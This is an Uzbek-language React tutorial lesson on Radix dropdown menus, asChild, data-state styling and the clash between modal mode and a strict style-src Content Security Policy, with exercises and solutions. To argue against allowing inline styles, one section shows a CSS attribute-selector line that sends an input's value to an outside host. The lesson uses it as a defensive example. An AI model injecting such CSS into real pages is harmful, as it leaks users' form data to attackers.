body { pointer-events: none }— sahifadagi hech narsa sichqonchaga javob bermaydi. Tashqariga birinchi bosish faqat menyuni yopadi, bosilgan tugma ishlamaydi.- Yangi
<style>tegi —react-remove-scrollkutubxonasi qo'shadi: sahifa aylantirilmasin (scroll lock). #rootgaaria-hidden="true"— ilovaning qolgan qismi ekran o'quvchidan yashirildi. Malika faqat menyuni "ko'radi".
Endi xuddi shu kod, faqat modal={false}:
export default function App() {
return <Demo modal={false} />;
}Konsolda:
oldin | body: — | <style>: 2 | #root aria-hidden: —
keyin | body: — | <style>: 2 | #root aria-hidden: —Hech narsa o'zgarmadi. Menyu baribir Esc bilan va tashqariga bosish bilan yopiladi, fokus ham qaytadi — bularni modal emas, menyuning o'zi qiladi.
8.2 CSP: <style> ni kim to'sadi
Natija oynasida ikkala variant ham ishladi. Chunki saytdagi natija oynasi inline <style> ga ruxsat beradi. vazifalar ning xavfsizlik siyosati esa qattiqroq. Frontend xavfsizligi darsida yozilgan CSP (Content Security Policy) sarlavhasida (kanon vercel.json va index.html):
default-src 'self'; script-src 'self'; style-src 'self'; …
require-trusted-types-for 'script'style-src 'self' — "stil faqat o'z saytimizdagi .css fayllardan". JavaScript yasagan <style> tegi — begona. Kanonda modal menyuni ochib o'lchandi (holat 03, Chrome 155, 03-radix-csp.txt):
modal={true} |
modal={false} (kanon) |
|
|---|---|---|
| CSP buzilishi | 1 (style-src-elem inline) |
0 |
body dagi stil |
pointer-events: none; |
yo'q |
fon aria-hidden |
3 element | 0 |
| fokus ochilganda | "CSV (Excel uchun)" | "CSV (Excel uchun)" |
Konsoldagi xabar (o'lchov faylida 130 belgigacha qisqartirilgan):
Applying inline style violates the following Content Security Policy directive 'style-src 'self''. Either the 'unsafe-inline' keyword, a hash ('sha256-nzTgYzXYD…Tarjimasi: "Inline stilni qo'llash style-src 'self' direktivasini buzadi. Buning uchun 'unsafe-inline' kalit so'zi yoki xesh kerak…". Natija: scroll lock jim ishlamadi, konsolda xato, pointer-events va aria-hidden esa baribir qo'yildi. E'tibor bering: body.style.pointerEvents = … CSP'dan o'tdi. JavaScript'dan bitta xususiyatni o'zgartirish (CSSOM) ruxsat etilgan, <style> tegi yasash — yo'q. Floating UI ham joylashuvni xuddi shunday, style xususiyatlari orqali beradi, shuning uchun u CSP bilan chiqishadi.
Menyuga modal kerakmi? Yo'q: u kichik, tashqariga bosish va Esc uni baribir yopadi. Shuning uchun kanonda modal={false}. Dialog esa boshqa gap — unga modal kerak. Shuning uchun vazifalar dagi tasdiq oynasi Radix Dialog emas, native <dialog>: showModal() fonni brauzerning o'zi "o'chiradi", hech qanday <style> siz (<dialog> va Popover API).
8.3 Hujumchi nigohi: nega shunchaki 'unsafe-inline' qo'shmaymiz?
Eng oson yo'l — CSP'ga style-src 'self' 'unsafe-inline' yozish. Xato yo'qoladi. Lekin himoyaning bir qatlami ham yo'qoladi.
Tasavvur qiling: hujumchi vazifa matniga HTML yashirishning yo'lini topdi — masalan, kelajakdagi Markdown ko'rinishidagi xato orqali. Skriptni CSP to'sadi (script-src 'self', Trusted Types). Lekin 'unsafe-inline' bo'lsa, <style> o'tadi. CSS bilan esa ko'p narsa qilsa bo'ladi:
- Sahifani soxtalashtirish — «Chiqish» tugmasini yashirib, o'rniga boshqa havolani "tugma" qilib ko'rsatish.
- Ma'lumot sizdirish — atribut selektorlari bilan:
input[value^="a"] { background: url(https://example.com/?a) }. Qiymat "a" bilan boshlansa, brauzer rasmni hujumchi serveridan so'raydi va unga harfni aytadi. (Bizdaimg-srcvaconnect-srcham cheklangan — yana bir qatlam.)
Qoida: kutubxona sizning xavfsizlik siyosatingizga moslashsin, siyosat kutubxonaga emas. Kutubxona tanlashda "CSP bilan ishlaydimi?" — o'lchanadigan savol. Kanon aynan shunday qildi.
Tekshirib ko'ring: Natija oynasida modal misolda
<style>2 dan 3 ga oshdi va xato chiqmadi. Kanonda esa CSP buzilishi bor. Natija oynasida xavfsizlik yo'qmi?
Javob
Natija oynasining himoyasi boshqacha. U sandbox'li iframe: alohida "shaffof" origin'da, sizning saytingiz cookie'lari va ma'lumotlariga yeta olmaydi. U yerda faqat o'quvchi o'zi yozgan kod ishlaydi. vazifalar esa haqiqiy ma'lumot bilan ishlaydigan ilova: unda begona matn (vazifalar, serverdan kelgan javoblar) bor, shuning uchun har inline stil potentsial hujum yo'li. Ikki muhit — ikki xil xavf, ikki xil siyosat.
9. Radix, Base UI va React Aria
Yana ikki headless kutubxona ko'p tilga olinadi:
- Base UI — Radix, Floating UI va MUI mualliflari jamoasining yangi kutubxonasi. shadcn 4 da
initstandarti — Base UI (-b base), Radix — tanlov. - React Aria — Adobe'ning kutubxonasi: xulq hooklari (
useButton,useMenu) va tayyor komponentlar (React Aria Components). Klaviatura, ekran o'quvchi va 30 dan ortiq til uchun eng chuqur sinalgan.
| Radix | Base UI | React Aria Components | |
|---|---|---|---|
| Teg almashtirish | asChild |
render prop |
o'z komponentlari, className funksiya |
| Holat atributi | data-state="open" |
data-open / data-closed |
data-pressed, data-focus-visible … |
| Joylashuv | Content ichida |
alohida Positioner |
Popover |
API boshqacha, g'oya bitta: xulq kutubxonada, ko'rinish sizda, holat — data-atributlarda.
UI kutubxonalar xaritasi va shadcn/ui I darslaridagi o'lchovni endi CSP ko'zi bilan qayta o'qiymiz. Kanon uchala yo'lni (va yana oltita kitni) bir xil ekranda o'lchagan: uchta vazifa, «O'chirish» → tasdiq oynasi → toast, vazifalar CSP'si ostida, faqat klaviatura bilan (tajriba/kitlar-hajm.txt, kitlar-ishlat.txt):
- native <dialog> (kanon)CSP 066,8 KB
- shadcn: Radix + sonnerCSP 490,8 KB
- Base UI 1.8.0CSP 093,2 KB
- React Aria 1.21.1CSP 195,1 KB
Manba: O'lchandi: tajriba/kitlar, Chrome 155, natijalar/tajriba/kitlar-hajm.txt va kitlar-ishlat.txt, 2026-10-14
Uchalasida ham klaviatura yo'li to'liq o'tdi: Enter → fokus oyna ichida → Esc → fokus «O'chirish» ga qaytdi. Hajm farqi kichik — 2–4 KB. Farq CSP'da: Base UI — 0 buzilish, React Aria — 1, Radix AlertDialog + sonner — 4.
Nega kanon Radix'da qoldi? Menyu (modal={false}) va tooltip CSP'ga mos, mavjud loyihalarning ko'pi hali Radix'da. Yangi loyihada qattiq CSP kerak bo'lsa — Base UI'ni jiddiy ko'rib chiqing. Har kit haqida batafsil — Mantine, Chakra, HeroUI va React Aria darsida.
10. Vazifalar qadami: asChild bilan Tugma (holat 04)
10.1 Nima o'zgaradi
Ikki menyuning trigger'i endi bizning Tugma — ilovadagi boshqa tugmalar bilan bir xil ko'rinish (44 px, chegara, tokenlar). Ochiq holatda chegara asosiy rangda.
git switch -c refactor/aschildBatafsilStatistika.tsx (kanon):
+import { Tugma } from "../../ui/Tugma.tsx";
...
<DropdownMenu>
- <DropdownMenuTrigger className="hisobot-tugma">
- Hisobotni yuklab olish
+ {/* 20/#04: asChild — Radix o'z <button> ini chizmaydi,
+ xossalarini (onKeyDown, aria-expanded, data-state,
+ ref...) BOLAGA — bizning Tugma'ga — qo'shadi.
+ data-state="open" — ochiq holat uslubi */}
+ <DropdownMenuTrigger asChild>
+ <Tugma className="hisobot-tugma data-[state=open]:border-asosiy">
+ Hisobotni yuklab olish
+ </Tugma>
</DropdownMenuTrigger>FoydalanuvchiMenyusi.tsx da xuddi shunday: aria-describedby endi Tugma ga yoziladi, ichida avatar rasmi va ism.
- <DropdownMenuTrigger aria-describedby="foydalanuvchi-izoh">
- {rasm !== null && (
+ {/* 20/#04: asChild — trigger bizning Tugma (statistika
+ menyusi kabi) */}
+ <DropdownMenuTrigger asChild>
+ <Tugma
+ aria-describedby="foydalanuvchi-izoh"
+ className="data-[state=open]:border-asosiy"
+ >
+ {rasm !== null && (Bugungi uch g'oya bir yozuvda:
asChild— DOM'da bitta<button>.Tugmaqolgan props'ni yoyadi (...qolgan) varefni o'tkazadi — «"Jim" xato» bo'limidagi shart bajarilgan.classNamebirlashadi — Radix'ning Slot'i ota va bolaclassNamelarini qo'shadi.Tugmaichidagicn()ham cva sinflarini va kelganini birlashtiradi.data-[state=open]:border-asosiy— Tailwind'ning data-variant'i. Ochiq holat uchunuseStateham,aria-expandedni o'qish ham kerak emas.
10.2 Tekshiruvlar
git add -A
git commitCommit (kanon): refactor: menyu trigger'lari — asChild bilan Tugma, data-[state=open]. Diff: 2 fayl, +26 −13.
Tekshiruvlar (haqiqiy, holat 04):
npm test— node:testpass 198, VitestTests 65 passed (65).lint,format:check,tip,knip—exit 0. axe — 6 ko'rinishda 0.- Build: birinchi yuklash JS gzip 179.1 KB — o'zgarmadi (+0.03 KB).
asChilddeyarli bepul:Slotallaqachon to'plamda. - Brauzer: 159, 72, 100 — o'tdi. 20-qism ssenariysiga uchta yangi tekshiruv:
✅ asChild: trigger — Tugma (bitta button, type=button, aria-haspopup): ["BUTTON",true,0,"button","menu"]
✅ asChild: data-[state=open] — chegara asosiy rangda: true
✅ asChild: foydalanuvchi menyusi ham Tugma: [true,"menu"]Birinchi qatordagi massiv: teg BUTTON, .tugma sinfi bor (true), ichki tugmalar soni 0, type="button", aria-haspopup="menu". Ikkinchi qator — haqiqiy Chrome'da hisoblangan chegara rangi ochiq holatda --color-asosiy ga teng.
11. Ko'p uchraydigan xatolar
| Belgi | Sabab | Davosi |
|---|---|---|
<button> cannot be a descendant of <button> |
trigger ichida o'z tugmangiz, asChild yo'q |
asChild qo'shing |
asChild bor, menyu ochilmaydi, xato yo'q |
bola props'ni yoymaydi | {...rest} va ref ni elementga |
data-[state=open] ishlamaydi, tooltip ham bor |
tooltip trigger'i tashqarida, uning data-state i yutdi |
menyu trigger'ini tashqariga |
… is changing from controlled to uncontrolled |
open gohida undefined |
open={x ?? false} |
| controlled menyu yopilmaydi | onOpenChange da setOpen yo'q |
onOpenChange={setOpen} |
ro'yxat <main> da emas, xato yo'q |
container chizish paytida null |
callback ref + useState |
| tashqaridagi tugma birinchi bosishda ishlamaydi | modal menyu: body { pointer-events: none } |
modal={false} |
Applying inline style violates … 'style-src 'self'' |
modal rejim <style> qo'shadi |
modal={false}; dialog — native <dialog> |
| ikkita band birdan yonadi | :hover va :focus alohida |
bitta [data-highlighted] |
| menyu ochiq, Tab hech narsa qilmaydi | Radix Tab'ni to'sadi (APG'dan farq) | Esc yoki band tanlash; kerak bo'lsa — o'z xulqingiz |
12. Mashqlar
Mashqlar kurs/mashqlar/20/04-radix/ da. Har yechimni «Ishga tushir» bilan sinang.
1-mashq (oson): qaysi selektor?
Vaziyatga mos CSS selektorini yozing (qo'shtirnoqsiz, [data-…] ko'rinishida):
- Menyu ochiq turganda trigger tugmasi → ]
- Strelka yoki sichqoncha bilan tanlab turilgan band → ]
- O'chirilgan band → ]
- Joy bo'lmagani uchun tepaga ochilgan ro'yxat → ]
Yechim
[data-state=open]— Trigger'ga Radix qo'yadi (Content'da ham bor).[data-highlighted]— qiymatsiz atribut: bor yoki yo'q. Sichqoncha va klaviaturani birga bezaydi.[data-disabled]—disabledband (va trigger).[data-side=top]—sideprops'iga emas, haqiqiy joylashuvga qaraydi: Floating UI ag'darsa ham to'g'ri.
Tailwind'da: data-[state=open]:…, data-highlighted:…, data-disabled:…, data-[side=top]:….
2-mashq (o'rta): ikonka tugmani tuzating
«Bahor» buyurtmalar jadvalidagi «⋯» menyusi ochilmayapti. Konsol ham jim. IconButton ni tuzating, natijada konsolda aria-haspopup: menu va data-state: closed chiqsin. aria-label saqlansin.
Ishora: «"Jim" xato: bola props'ni yoymasa» bo'limi. Qolgan props'ni yig'ish — rest sintaksisi bilan.
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
function IconButton({ label, children }) {
return <button aria-label={label}>{children}</button>;
}
export default function App() {
useEffect(() => {
const timer = setTimeout(() => {
const b = document.querySelector("button");
console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
console.log("data-state:", b.dataset.state);
console.log("aria-label:", b.getAttribute("aria-label"));
}, 100);
return () => clearTimeout(timer);
}, []);
return (
<DropdownMenu.Root modal={false}>
<DropdownMenu.Trigger asChild>
<IconButton label="Buyurtma amallari">⋯</IconButton>
</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content>
<DropdownMenu.Item>Ko'rish</DropdownMenu.Item>
<DropdownMenu.Item>Bekor qilish</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
);
}Konsolda:
aria-haspopup: null
data-state: undefined
aria-label: Buyurtma amallariYechim
import { useEffect } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
function IconButton({ label, ...rest }) {
return <button type="button" aria-label={label} {...rest} />;
}
export default function App() {
useEffect(() => {
const timer = setTimeout(() => {
const b = document.querySelector("button");
console.log("aria-haspopup:", b.getAttribute("aria-haspopup"));
console.log("data-state:", b.dataset.state);
console.log("aria-label:", b.getAttribute("aria-label"));
}, 100);
return () => clearTimeout(timer);
}, []);
return (
<DropdownMenu.Root modal={false}>
<DropdownMenu.Trigger asChild>
<IconButton label="Buyurtma amallari">⋯</IconButton>
</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content>
<DropdownMenu.Item>Ko'rish</DropdownMenu.Item>
<DropdownMenu.Item>Bekor qilish</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
);
}Konsolda:
aria-haspopup: menu
data-state: closed
aria-label: Buyurtma amallari{...rest} — children, onPointerDown, onKeyDown, aria-*, data-state, id va ref ning hammasi <button> ga yetadi. type="button" — forma ichida tasodifan yuborish bo'lmasin (Tugma dagi kabi xavfsiz standart). Ikonka tugmaning nomi aria-label da — Malika "Buyurtma amallari, menyu" ni eshitadi, "⋯" ni emas.
3-mashq (qiyin): saqlash tugaguncha yopilmasin
«Fayl» menyusida «Saqlash» bandi. Talablar:
- Menyu controlled:
openvaonOpenChange. Darsda ochiq holda boshlansin (useState(true)). - «Saqlash» tanlanganda menyu yopilmaydi, band matni «Saqlanmoqda…» bo'ladi va band
disabled. - 250 ms dan keyin (soxta server,
setTimeout) — menyu yopiladi, pastdaHolat: Saqlandi. - Saqlash davomida Esc va tashqariga bosish ham menyuni yopmasin.
Ishora: band — onSelect da e.preventDefault() («Bandlar turlari», oldingi dars). To'rtinchi talab — «Uchlik» bo'limidagi control props: onOpenChange da holatni o'zgartirmaslik.
Yechim
import { useState } from "react";
import * as DropdownMenu from "@radix-ui/react-dropdown-menu";
export default function App() {
const [open, setOpen] = useState(true);
const [saving, setSaving] = useState(false);
const [status, setStatus] = useState("—");
function save(e) {
e.preventDefault(); // menyu ochiq qolsin
setSaving(true);
setTimeout(() => {
setSaving(false);
setStatus("Saqlandi");
setOpen(false);
}, 250);
}
function changeOpen(next) {
if (saving) return; // saqlanayotganda — "yo'q"
setOpen(next);
}
return (
<div>
<DropdownMenu.Root
open={open}
onOpenChange={changeOpen}
modal={false}
>
<DropdownMenu.Trigger>Fayl</DropdownMenu.Trigger>
<DropdownMenu.Portal>
<DropdownMenu.Content align="start">
<DropdownMenu.Item disabled={saving} onSelect={save}>
{saving ? "Saqlanmoqda…" : "Saqlash"}
</DropdownMenu.Item>
</DropdownMenu.Content>
</DropdownMenu.Portal>
</DropdownMenu.Root>
<p>Holat: {status}</p>
</div>
);
}Ekranda:
Fayl
Holat: Saqlandi«Saqlash» ni bosing va qarang: bir lahza menyu ochiq turadi, band matni «Saqlanmoqda…» ga o'zgaradi. 250 ms dan keyin menyu yopiladi.
Ikki dastak birga ishladi. e.preventDefault() — tanlovdan keyingi avtomatik yopilishni bekor qildi. changeOpen dagi if (saving) return — Radix "Esc bosildi, yopilay" deganda "yo'q" dedi. Bu uncontrolled menyuda mumkin emas edi: u yerda yopish qarorini Radix o'zi qiladi. Yopilish kod bilan bo'ldi (setOpen(false)), shuning uchun onOpenChange chaqirilmadi. Fokus esa baribir «Fayl» ga qaytadi — onCloseAutoFocus yopilishning sababiga qaramaydi.
4-mashq: Vazifalar qadami
refactor/aschild branch'ida ikki faylni o'zgartiring: BatafsilStatistika.tsx va FoydalanuvchiMenyusi.tsx — DropdownMenuTrigger asChild ichida Tugma, ochiq holat data-[state=open]:border-asosiy. Keyin commit.
Yechim
Tekshiruv ro'yxati:
- DevTools Elements: trigger — bitta
<button class="tugma …">, ichida boshqa tugma yo'q,aria-haspopup="menu". - Menyuni oching — chegara asosiy rangda; Esc — oddiy rangga qaytadi, fokus tugmada.
- Konsolda
cannot be a descendantyo'q. npm test— node 198, Vitest 65;npm run tip— 0 xato. Build hajmi deyarli o'zgarmaydi.
13. Real ishda
- Dizayn tizimlari — kompaniyaning o'z tugmasi bo'ladi. Radix (yoki Base UI) faqat xulq beradi,
asChild/renderorqali o'sha tugma trigger bo'ladi. Shuning uchun dizayn tizimidagi har komponent{...rest}varefni o'tkazadi — bu yozilmagan qoida. - Bank va davlat xizmatlari — CSP qattiq, ba'zan Trusted Types ham. Kutubxona "CSP bilan ishlaydimi?" — tanlovdagi birinchi savollardan.
- Intervyu savollari: "
asChildqanday ishlaydi va bola nima qilishi shart?", "controlled va uncontrolled komponent farqi?", "negadata-statebilan stil beriladi?", "portal nima uchun kerak va qanday a11y muammosi beradi?", "CSPstyle-srcnimani to'sadi?".
Xulosa
- Radix primitivi:
Root(holat, Context) →Trigger↔Content, ARIA bilan ikki tomonlama bog'langan. asChild— props bolaga birlashadi; bola{...rest}varefni yoymasa, xulq jim yo'qoladi. Ikki trigger ustma-ust bo'lsa — tashqisiningdata-statei yutadi.defaultOpen— uncontrolled,open+onOpenChange— controlled; rejim o'rtada almashmasin.- Stil —
data-state,data-side,data-highlighted,data-disabledva--radix-*o'zgaruvchilari bilan; Tailwind'dadata-[state=open]:. - Fokus: ochilganda ichkariga,
disabledo'tkazib yuboriladi, Esc'da tugmaga qaytadi (Radix unisetTimeoutbilan qo'yadi). Tab'ni Radix to'sadi — APG esa Tab bilan menyudan chiqishni tavsiya qiladi. - Portal —
<body>da landmark tashqarisi;container— mavjud element bo'lsin.modal<style>qo'shadi va CSP'ni buzadi — menyumodal={false}, dialog — native<dialog>.
Keyingi dars: MUI (Material UI) — tayyor dizaynli eng katta kit: tema, sx, MUI X; uning CSS-in-JS yondashuvi CSP bilan qanday kelishishini ham o'lchab ko'ramiz.
Manbalar
- Radix Primitives: Dropdown Menu, Composition (
asChild), Styling (data attributes) — radix-ui.com/primitives/docs (2026-10, @radix-ui/react-dropdown-menu 2.1.25) - Base UI: Menu — base-ui.com/react/components/menu (1.8.0)
- React Aria Components — react-spectrum.adobe.com/react-aria
- MDN: Content-Security-Policy
style-src— developer.mozilla.org/docs/Web/HTTP/Headers/Content-Security-Policy/style-src - WAI-ARIA APG: Menu Button Pattern — w3.org/WAI/ARIA/apg/patterns/menu-button; Menu and Menubar Pattern (Keyboard Interaction: Tab) — w3.org/WAI/ARIA/apg/patterns/menubar
- Radix manba kodi:
@radix-ui/react-menu,MenuContentdagionKeyDown— Tab'dapreventDefault()
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!